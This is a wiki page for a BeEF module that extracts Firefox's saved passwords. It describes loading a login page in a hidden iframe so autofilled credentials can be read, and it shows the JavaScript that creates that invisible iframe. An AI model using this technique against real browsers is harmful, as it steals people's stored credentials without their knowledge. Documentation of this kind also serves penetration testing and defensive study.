Module: Get Stored Credentials - h4sh5/beef GitHub Wiki

Summary

  • Objective: Extract credentials saved in the browser
  • Authors: bcoles
  • Browsers: Firefox
  • Code

Internal Working

This module tries to extract passwords saved in the browser by creating an iframe of the provided login_url, waiting for any password fields to be auto-filled by the browser, and then extracting it.

iframe = document.createElement("iframe");
iframe.setAttribute("id","credentials_container_<%= @command_id %>");
iframe.setAttribute("src", login_url);
iframe.setAttribute("style","display:none;visibility:hidden;border:none;height:0;width:0;");
document.body.appendChild(iframe);

Feedback